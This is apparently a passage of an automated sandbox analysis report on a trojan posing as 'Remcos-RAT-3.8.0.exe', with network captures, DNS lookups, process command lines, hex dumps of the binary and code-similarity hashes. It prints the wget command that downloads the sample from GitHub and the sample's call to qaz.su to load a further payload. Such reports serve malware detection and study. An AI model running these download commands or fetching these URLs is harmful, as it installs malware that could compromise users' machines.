Mar 20, 2025 17:02:23.103773117 CET	443	49722	140.82.114.4	192.168.2.5
Mar 20, 2025 17:02:23.103789091 CET	443	49722	140.82.114.4	192.168.2.5
Mar 20, 2025 17:02:23.103818893 CET	49722	443	192.168.2.5	140.82.114.4
Mar 20, 2025 17:02:23.103858948 CET	49722	443	192.168.2.5	140.82.114.4
Mar 20, 2025 17:02:23.110950947 CET	49722	443	192.168.2.5	140.82.114.4
Mar 20, 2025 17:02:23.110964060 CET	443	49722	140.82.114.4	192.168.2.5
Mar 20, 2025 17:02:23.232435942 CET	49723	443	192.168.2.5	185.199.110.133
Mar 20, 2025 17:02:23.232497931 CET	443	49723	185.199.110.133	192.168.2.5
Mar 20, 2025 17:02:23.232566118 CET	49723	443	192.168.2.5	185.199.110.133
Mar 20, 2025 17:02:23.234261990 CET	49723	443	192.168.2.5	185.199.110.133
Mar 20, 2025 17:02:23.234286070 CET	443	49723	185.199.110.133	192.168.2.5
Mar 20, 2025 17:02:23.439620972 CET	443	49723	185.199.110.133	192.168.2.5
Mar 20, 2025 17:02:23.439743042 CET	49723	443	192.168.2.5	185.199.110.133
Mar 20, 2025 17:02:23.441226959 CET	49723	443	192.168.2.5	185.199.110.133
Mar 20, 2025 17:02:23.441247940 CET	443	49723	185.199.110.133	192.168.2.5
Mar 20, 2025 17:02:23.441540956 CET	443	49723	185.199.110.133	192.168.2.5
Mar 20, 2025 17:02:23.442569017 CET	49723	443	192.168.2.5	185.199.110.133
Mar 20, 2025 17:02:23.488337994 CET	443	49723	185.199.110.133	192.168.2.5
Mar 20, 2025 17:02:23.698784113 CET	443	49723	185.199.110.133	192.168.2.5
Mar 20, 2025 17:02:23.698853016 CET	443	49723	185.199.110.133	192.168.2.5
Mar 20, 2025 17:02:23.698884964 CET	443	49723	185.199.110.133	192.168.2.5
Mar 20, 2025 17:02:23.698915958 CET	443	49723	185.199.110.133	192.168.2.5
Mar 20, 2025 17:02:23.698916912 CET	49723	443	192.168.2.5	185.199.110.133
Mar 20, 2025 17:02:23.698949099 CET	443	49723	185.199.110.133	192.168.2.5
Mar 20, 2025 17:02:23.698970079 CET	49723	443	192.168.2.5	185.199.110.133
Mar 20, 2025 17:02:23.701786995 CET	443	49723	185.199.110.133	192.168.2.5
Mar 20, 2025 17:02:23.701837063 CET	49723	443	192.168.2.5	185.199.110.133
Mar 20, 2025 17:02:23.701843977 CET	443	49723	185.199.110.133	192.168.2.5
Mar 20, 2025 17:02:23.701854944 CET	443	49723	185.199.110.133	192.168.2.5
Mar 20, 2025 17:02:23.701905966 CET	49723	443	192.168.2.5	185.199.110.133
Mar 20, 2025 17:02:23.731925011 CET	49723	443	192.168.2.5	185.199.110.133
Mar 20, 2025 17:02:23.731945992 CET	443	49723	185.199.110.133	192.168.2.5
Mar 20, 2025 17:02:26.103060961 CET	49724	443	192.168.2.5	80.87.203.251
Mar 20, 2025 17:02:26.103105068 CET	443	49724	80.87.203.251	192.168.2.5
Mar 20, 2025 17:02:26.103219986 CET	49724	443	192.168.2.5	80.87.203.251
Mar 20, 2025 17:02:26.114451885 CET	49724	443	192.168.2.5	80.87.203.251
Mar 20, 2025 17:02:26.114468098 CET	443	49724	80.87.203.251	192.168.2.5
Mar 20, 2025 17:02:26.378484011 CET	443	49724	80.87.203.251	192.168.2.5
Mar 20, 2025 17:02:26.378613949 CET	49724	443	192.168.2.5	80.87.203.251
Mar 20, 2025 17:02:26.381849051 CET	49724	443	192.168.2.5	80.87.203.251
Mar 20, 2025 17:02:26.381861925 CET	443	49724	80.87.203.251	192.168.2.5
Mar 20, 2025 17:02:26.382270098 CET	443	49724	80.87.203.251	192.168.2.5
Mar 20, 2025 17:02:26.433661938 CET	49724	443	192.168.2.5	80.87.203.251
Mar 20, 2025 17:02:26.476341009 CET	443	49724	80.87.203.251	192.168.2.5
Mar 20, 2025 17:02:27.205471039 CET	443	49724	80.87.203.251	192.168.2.5
Mar 20, 2025 17:02:27.205554008 CET	443	49724	80.87.203.251	192.168.2.5
Mar 20, 2025 17:02:27.205607891 CET	49724	443	192.168.2.5	80.87.203.251
Mar 20, 2025 17:02:27.213413000 CET	49724	443	192.168.2.5	80.87.203.251
Mar 20, 2025 17:02:27.216473103 CET	49725	443	192.168.2.5	80.87.203.251
Mar 20, 2025 17:02:27.216526031 CET	443	49725	80.87.203.251	192.168.2.5
Mar 20, 2025 17:02:27.216608047 CET	49725	443	192.168.2.5	80.87.203.251
Mar 20, 2025 17:02:27.216833115 CET	49725	443	192.168.2.5	80.87.203.251
Mar 20, 2025 17:02:27.216851950 CET	443	49725	80.87.203.251	192.168.2.5
Mar 20, 2025 17:02:27.493330002 CET	443	49725	80.87.203.251	192.168.2.5
Mar 20, 2025 17:02:27.545579910 CET	49725	443	192.168.2.5	80.87.203.251
Mar 20, 2025 17:02:27.589234114 CET	49725	443	192.168.2.5	80.87.203.251
Mar 20, 2025 17:02:27.589251041 CET	443	49725	80.87.203.251	192.168.2.5
Mar 20, 2025 17:02:28.362086058 CET	443	49725	80.87.203.251	192.168.2.5
Mar 20, 2025 17:02:28.362118959 CET	443	49725	80.87.203.251	192.168.2.5
Mar 20, 2025 17:02:28.362142086 CET	443	49725	80.87.203.251	192.168.2.5
Mar 20, 2025 17:02:28.362227917 CET	443	49725	80.87.203.251	192.168.2.5
Mar 20, 2025 17:02:28.362238884 CET	49725	443	192.168.2.5	80.87.203.251
Mar 20, 2025 17:02:28.362281084 CET	49725	443	192.168.2.5	80.87.203.251
Mar 20, 2025 17:02:28.370863914 CET	49725	443	192.168.2.5	80.87.203.251

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 20, 2025 17:02:22.013801098 CET	63842	53	192.168.2.5	1.1.1.1
Mar 20, 2025 17:02:22.158931971 CET	53	63842	1.1.1.1	192.168.2.5
Mar 20, 2025 17:02:23.121454000 CET	52359	53	192.168.2.5	1.1.1.1
Mar 20, 2025 17:02:23.228535891 CET	53	52359	1.1.1.1	192.168.2.5
Mar 20, 2025 17:02:25.490021944 CET	60770	53	192.168.2.5	1.1.1.1
Mar 20, 2025 17:02:26.097472906 CET	53	60770	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 20, 2025 17:02:22.013801098 CET	192.168.2.5	1.1.1.1	0x5f16	Standard query (0)	github.com	A (IP address)	IN (0x0001)	false
Mar 20, 2025 17:02:23.121454000 CET	192.168.2.5	1.1.1.1	0x1f07	Standard query (0)	raw.githubusercontent.com	A (IP address)	IN (0x0001)	false
Mar 20, 2025 17:02:25.490021944 CET	192.168.2.5	1.1.1.1	0xf56c	Standard query (0)	qaz.su	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Mar 20, 2025 17:02:22.158931971 CET	1.1.1.1	192.168.2.5	0x5f16	No error (0)	github.com	140.82.114.4	A (IP address)	IN (0x0001)	false
Mar 20, 2025 17:02:23.228535891 CET	1.1.1.1	192.168.2.5	0x1f07	No error (0)	raw.githubusercontent.com	185.199.110.133	A (IP address)	IN (0x0001)	false
Mar 20, 2025 17:02:23.228535891 CET	1.1.1.1	192.168.2.5	0x1f07	No error (0)	raw.githubusercontent.com	185.199.108.133	A (IP address)	IN (0x0001)	false
Mar 20, 2025 17:02:23.228535891 CET	1.1.1.1	192.168.2.5	0x1f07	No error (0)	raw.githubusercontent.com	185.199.111.133	A (IP address)	IN (0x0001)	false
Mar 20, 2025 17:02:23.228535891 CET	1.1.1.1	192.168.2.5	0x1f07	No error (0)	raw.githubusercontent.com	185.199.109.133	A (IP address)	IN (0x0001)	false
Mar 20, 2025 17:02:26.097472906 CET	1.1.1.1	192.168.2.5	0xf56c	No error (0)	qaz.su	80.87.203.251	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

github.com

raw.githubusercontent.com

qaz.su

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49722	140.82.114.4	443	8340	C:\Windows\SysWOW64\wget.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-20 16:02:22 UTC	252	OUT	GET /Ox47100/Remcos-RAT-v3.8.0/raw/refs/heads/main/Remcos-RAT-3.8.0.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko Accept: / Accept-Encoding: identity Host: github.com Connection: Keep-Alive
2025-03-20 16:02:22 UTC	596	IN	HTTP/1.1 302 Found Server: GitHub.com Date: Thu, 20 Mar 2025 16:02:22 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Vary: X-PJAX, X-PJAX-Container, Turbo-Visit, Turbo-Frame, Accept-Encoding, Accept, X-Requested-With Access-Control-Allow-Origin: Location: https://raw.githubusercontent.com/Ox47100/Remcos-RAT-v3.8.0/refs/heads/main/Remcos-RAT-3.8.0.exe Cache-Control: no-cache Strict-Transport-Security: max-age=31536000; includeSubdomains; preload X-Frame-Options: deny X-Content-Type-Options: nosniff X-XSS-Protection: 0 Referrer-Policy: no-referrer-when-downgrade
2025-03-20 16:02:23 UTC	3368	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 27 6e 6f 6e 65 27 3b 20 62 61 73 65 2d 75 72 69 20 27 73 65 6c 66 27 3b 20 63 68 69 6c 64 2d 73 72 63 20 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 20 67 69 73 74 2e 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 3b 20 63 6f 6e 6e 65 63 74 2d 73 72 63 20 27 73 65 6c 66 27 20 75 70 6c 6f 61 64 73 2e 67 69 74 68 75 62 2e 63 6f 6d 20 77 77 77 2e 67 69 74 68 75 62 73 74 61 74 75 73 2e 63 6f 6d 20 63 6f 6c 6c 65 63 74 6f 72 2e 67 69 74 68 75 Data Ascii: Content-Security-Policy: default-src 'none'; base-uri 'self'; child-src github.githubassets.com github.com/assets-cdn/worker/ github.com/assets/ gist.github.com/assets-cdn/worker/; connect-src 'self' uploads.github.com www.githubstatus.com collector.githu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49723	185.199.110.133	443	8340	C:\Windows\SysWOW64\wget.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-20 16:02:23 UTC	263	OUT	GET /Ox47100/Remcos-RAT-v3.8.0/refs/heads/main/Remcos-RAT-3.8.0.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko Accept: / Accept-Encoding: identity Host: raw.githubusercontent.com Connection: Keep-Alive
2025-03-20 16:02:23 UTC	894	IN	HTTP/1.1 200 OK Connection: close Content-Length: 7168 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: application/octet-stream ETag: "7fcb5d5ef33cfb9922653946fe94fb99fbbb91d07134a9ccbd4428edf6b3f15f" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: 67BC:23696F:1875CB5:1E56E08:67DC3C0E Accept-Ranges: bytes Date: Thu, 20 Mar 2025 16:02:23 GMT Via: 1.1 varnish X-Served-By: cache-lga21946-LGA X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1742486544.579224,VS0,VE68 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: b54db5ac28fb8654f7b65f0bbd7324176d599c23 Expires: Thu, 20 Mar 2025 16:07:23 GMT Source-Age: 0
2025-03-20 16:02:23 UTC	1378	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 89 8d 16 fb 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 30 00 00 12 00 00 00 08 00 00 00 00 00 00 de 30 00 00 00 20 00 00 00 40 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 00 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL00 @@ `
2025-03-20 16:02:23 UTC	1378	IN	Data Raw: 4d 03 06 00 dc 01 4d 03 06 00 a3 00 1b 03 0f 00 89 03 00 00 06 00 cb 00 d8 02 06 00 52 01 d8 02 06 00 33 01 d8 02 06 00 c3 01 d8 02 06 00 8f 01 d8 02 06 00 a8 01 d8 02 06 00 e2 00 d8 02 06 00 b7 00 2e 03 06 00 95 00 2e 03 06 00 16 01 d8 02 06 00 fd 00 30 02 06 00 e5 03 a4 02 0a 00 c4 03 1b 03 0e 00 f7 03 9d 03 06 00 4c 04 10 00 0a 00 04 04 ec 03 0e 00 ab 02 9d 03 0a 00 fe 02 7d 02 06 00 5e 04 35 00 06 00 48 00 1f 02 0e 00 36 04 9d 03 0e 00 b2 03 9d 03 0e 00 bd 02 9d 03 06 00 4a 02 a4 02 06 00 61 00 a4 02 06 00 68 04 10 00 0e 00 cc 02 9d 03 06 00 ea 02 35 00 0a 00 ff 02 7d 02 0e 00 93 02 9d 03 0e 00 53 00 9d 03 12 00 1a 02 5b 02 0e 00 9c 02 9d 03 00 00 00 00 2c 00 00 00 00 00 01 00 01 00 00 00 10 00 b0 02 b0 02 41 00 01 00 01 00 01 00 10 00 01 00 20 00 55 Data Ascii: MMR3..0L}^5H6Jah5}S[,A U
2025-03-20 16:02:23 UTC	1378	IN	Data Raw: 6d 2e 44 72 61 77 69 6e 67 00 67 65 74 5f 45 78 65 63 75 74 61 62 6c 65 50 61 74 68 00 53 79 73 74 65 6d 2e 43 6f 6d 70 6f 6e 65 6e 74 4d 6f 64 65 6c 00 43 6f 6e 74 61 69 6e 65 72 43 6f 6e 74 72 6f 6c 00 53 79 73 74 65 6d 00 46 6f 72 6d 00 71 54 72 6f 6a 61 6e 00 4d 61 69 6e 00 4d 65 73 73 61 67 65 42 6f 78 49 63 6f 6e 00 41 70 70 6c 69 63 61 74 69 6f 6e 00 53 79 73 74 65 6d 2e 52 65 66 6c 65 63 74 69 6f 6e 00 44 69 72 65 63 74 6f 72 79 49 6e 66 6f 00 53 6c 65 65 70 00 49 43 6f 6e 74 61 69 6e 65 72 00 43 75 72 72 65 6e 74 55 73 65 72 00 2e 63 74 6f 72 00 53 79 73 74 65 6d 2e 44 69 61 67 6e 6f 73 74 69 63 73 00 53 79 73 74 65 6d 2e 52 75 6e 74 69 6d 65 2e 49 6e 74 65 72 6f 70 53 65 72 76 69 63 65 73 00 53 79 73 74 65 6d 2e 52 75 6e 74 69 6d 65 2e 43 6f 6d Data Ascii: m.Drawingget_ExecutablePathSystem.ComponentModelContainerControlSystemFormqTrojanMainMessageBoxIconApplicationSystem.ReflectionDirectoryInfoSleepIContainerCurrentUser.ctorSystem.DiagnosticsSystem.Runtime.InteropServicesSystem.Runtime.Com
2025-03-20 16:02:23 UTC	1378	IN	Data Raw: 78 63 65 70 74 69 6f 6e 54 68 72 6f 77 73 01 08 01 00 07 01 00 00 00 00 0d 01 00 08 53 79 73 74 65 6d 33 32 00 00 0e 01 00 09 4b 65 65 50 61 73 73 58 43 00 00 05 01 00 00 00 00 13 01 00 0e 4b 65 65 50 61 73 73 58 43 20 54 65 61 6d 00 00 10 01 00 0b 43 6f 6e 73 6f 6c 65 41 70 70 35 00 00 26 01 00 21 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 32 30 32 32 20 4b 65 65 50 61 73 73 58 43 20 54 65 61 6d 00 00 29 01 00 24 32 66 35 65 33 63 35 34 2d 37 31 35 37 2d 34 30 62 66 2d 38 61 35 37 2d 35 34 30 31 63 33 37 62 34 31 36 32 00 00 0c 01 00 07 32 2e 37 2e 31 2e 30 00 00 4d 01 00 1c 2e 4e 45 54 46 72 61 6d 65 77 6f 72 6b 2c 56 65 72 73 69 6f 6e 3d 76 34 2e 37 2e 32 01 00 54 0e 14 46 72 61 6d 65 77 6f 72 6b 44 69 73 70 6c 61 79 4e 61 6d 65 14 2e 4e 45 54 20 46 72 Data Ascii: xceptionThrowsSystem32KeePassXCKeePassXC TeamConsoleApp5&!Copyright (C) 2022 KeePassXC Team)$2f5e3c54-7157-40bf-8a57-5401c37b41622.7.1.0M.NETFramework,Version=v4.7.2TFrameworkDisplayName.NET Fr
2025-03-20 16:02:23 UTC	1378	IN	Data Raw: 65 00 50 00 61 00 73 00 73 00 58 00 43 00 00 00 3e 00 0f 00 01 00 43 00 6f 00 6d 00 70 00 61 00 6e 00 79 00 4e 00 61 00 6d 00 65 00 00 00 00 00 4b 00 65 00 65 00 50 00 61 00 73 00 73 00 58 00 43 00 20 00 54 00 65 00 61 00 6d 00 00 00 00 00 3a 00 09 00 01 00 46 00 69 00 6c 00 65 00 44 00 65 00 73 00 63 00 72 00 69 00 70 00 74 00 69 00 6f 00 6e 00 00 00 00 00 53 00 79 00 73 00 74 00 65 00 6d 00 33 00 32 00 00 00 00 00 30 00 08 00 01 00 46 00 69 00 6c 00 65 00 56 00 65 00 72 00 73 00 69 00 6f 00 6e 00 00 00 00 00 32 00 2e 00 37 00 2e 00 31 00 2e 00 30 00 00 00 3a 00 0d 00 01 00 49 00 6e 00 74 00 65 00 72 00 6e 00 61 00 6c 00 4e 00 61 00 6d 00 65 00 00 00 53 00 79 00 73 00 74 00 65 00 6d 00 33 00 32 00 2e 00 65 00 78 00 65 00 00 00 00 00 68 00 22 00 01 00 4c Data Ascii: ePassXC>CompanyNameKeePassXC Team:FileDescriptionSystem320FileVersion2.7.1.0:InternalNameSystem32.exeh"L
2025-03-20 16:02:23 UTC	278	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49724	80.87.203.251	443	8472	C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-20 16:02:26 UTC	104	OUT	GET /load/rTE6bi/b733f346-f3cc-4059-b212-d58a8e4d2f06 HTTP/1.1 Host: qaz.su Connection: Keep-Alive
2025-03-20 16:02:27 UTC	823	IN	HTTP/1.1 302 Found Server: ddos-guard Connection: close Set-Cookie: __ddg8_=Bgte63oUhvXtIswC; Domain=.qaz.su; Path=/; Expires=Thu, 20-Mar-2025 16:22:26 GMT Set-Cookie: __ddg10_=1742486546; Domain=.qaz.su; Path=/; Expires=Thu, 20-Mar-2025 16:22:26 GMT Set-Cookie: __ddg9_=161.77.13.2; Domain=.qaz.su; Path=/; Expires=Thu, 20-Mar-2025 16:22:26 GMT Set-Cookie: __ddg1_=Fl4UFRT3yyUv5CtIO4pr; Domain=.qaz.su; HttpOnly; Path=/; Expires=Fri, 20-Mar-2026 16:02:26 GMT Date: Thu, 20 Mar 2025 16:02:27 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 X-Powered-By: PHP/7.4.27 Set-Cookie: PHPSESSID=7o21doflef16pmr6tluq9euarp; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Location: https://qaz.su/index.php?a=download&q=file_not_exist

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49725	80.87.203.251	443	8472	C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-20 16:02:27 UTC	69	OUT	GET /index.php?a=download&q=file_not_exist HTTP/1.1 Host: qaz.su
2025-03-20 16:02:28 UTC	789	IN	HTTP/1.1 404 Not Found Server: ddos-guard Connection: close Set-Cookie: __ddg8_=O4wOpy74RXiJCDQ6; Domain=.qaz.su; Path=/; Expires=Thu, 20-Mar-2025 16:22:27 GMT Set-Cookie: __ddg10_=1742486547; Domain=.qaz.su; Path=/; Expires=Thu, 20-Mar-2025 16:22:27 GMT Set-Cookie: __ddg9_=161.77.13.2; Domain=.qaz.su; Path=/; Expires=Thu, 20-Mar-2025 16:22:27 GMT Set-Cookie: __ddg1_=hKS2vVwlRirc6uGFQrhA; Domain=.qaz.su; HttpOnly; Path=/; Expires=Fri, 20-Mar-2026 16:02:27 GMT Date: Thu, 20 Mar 2025 16:02:28 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4365 Vary: Accept-Encoding X-Powered-By: PHP/7.4.27 Set-Cookie: PHPSESSID=1etumsf5tr0a1ned2fo14bibpt; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache
2025-03-20 16:02:28 UTC	4365	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 68 74 6d 6c 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 0a 3c 74 69 74 6c 65 3e 50 72 69 76 61 74 65 20 46 69 6c 65 20 53 68 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 0a 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 30 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 Data Ascii: <!DOCTYPE html><html lang="en" xmlns="http://www.w3.org/1999/html"><head><meta charset="UTF-8" /><title>Private File Share</title><meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=0"><link rel="shortcut icon" href

Statistics

Click to jump to process

Memory Usage

• cmd.exe
• conhost.exe
• wget.exe
• Remcos-RAT-3.8.0.exe
• WerFault.exe

Click to jump to process

High Level Behavior Distribution

• File
• Registry
• Network

Click to dive into process behavior distribution

Behavior

• cmd.exe
• conhost.exe
• wget.exe
• Remcos-RAT-3.8.0.exe
• WerFault.exe

Click to jump to process

Target ID:	0
Start time:	12:02:20
Start date:	20/03/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c wget -t 2 -v -T 60 -P "C:\Users\user\Desktop\download" --no-check-certificate --content-disposition --user-agent="Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko" "https://github.com/Ox47100/Remcos-RAT-v3.8.0/raw/refs/heads/main/Remcos-RAT-3.8.0.exe" > cmdline.out 2>&1
Imagebase:	0x220000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	12:02:20
Start date:	20/03/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7e2000000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	12:02:20
Start date:	20/03/2025
Path:	C:\Windows\SysWOW64\wget.exe
Wow64 process (32bit):	true
Commandline:	wget -t 2 -v -T 60 -P "C:\Users\user\Desktop\download" --no-check-certificate --content-disposition --user-agent="Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko" "https://github.com/Ox47100/Remcos-RAT-v3.8.0/raw/refs/heads/main/Remcos-RAT-3.8.0.exe"
Imagebase:	0x400000
File size:	3'895'184 bytes
MD5 hash:	3DADB6E2ECE9C4B3E1E322E617658B60
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	12:02:23
Start date:	20/03/2025
Path:	C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\download\Remcos-RAT-3.8.0.exe"
Imagebase:	0x900000
File size:	7'168 bytes
MD5 hash:	6166F997B4BB3428AE0D9D4B4E1F0DB2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 79%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	12:02:27
Start date:	20/03/2025
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 8472 -s 2184
Imagebase:	0x7b0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Function 00F60848 Relevance: .2, Instructions: 236COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1400191414.0000000000F60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_f60000_Remcos-RAT-3.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 71673c50c8008e2fabdde567f61670a1c0c9b660a804f72ea9f9efa5a35ebc54
Instruction ID: 9c7f410e55efc661b3b9ce21cd9cbe63d9382b8a4aaac5dd169120988f93ffa2
Opcode Fuzzy Hash: 71673c50c8008e2fabdde567f61670a1c0c9b660a804f72ea9f9efa5a35ebc54
Instruction Fuzzy Hash: 78B1B274E01218CFDB68DFA6C854B9EBBB2BF89300F2084AAD409B7265DB745D85CF10

Function 00F60B0B Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1400191414.0000000000F60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_f60000_Remcos-RAT-3.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 49f27e6b9187ea9e76644e7cced3de6dd73a9f49e2f84acabc43932b757492a3
Instruction ID: e0219fce664fa487b477d7b1f89acdc693e0be2b15b7218eab59260f7c21148c
Opcode Fuzzy Hash: 49f27e6b9187ea9e76644e7cced3de6dd73a9f49e2f84acabc43932b757492a3
Instruction Fuzzy Hash: 6441B074E01228CFDB64DF64C895BAEBBB2BB46300F2044A9D919B7352DB355E81DF11

Function 00E7D3F0 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1399771670.0000000000E7D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E7D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e7d000_Remcos-RAT-3.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3aad19eb304d79420c73b4df981a7137f35d26779cd9d5f9f686e9f46a0a26a4
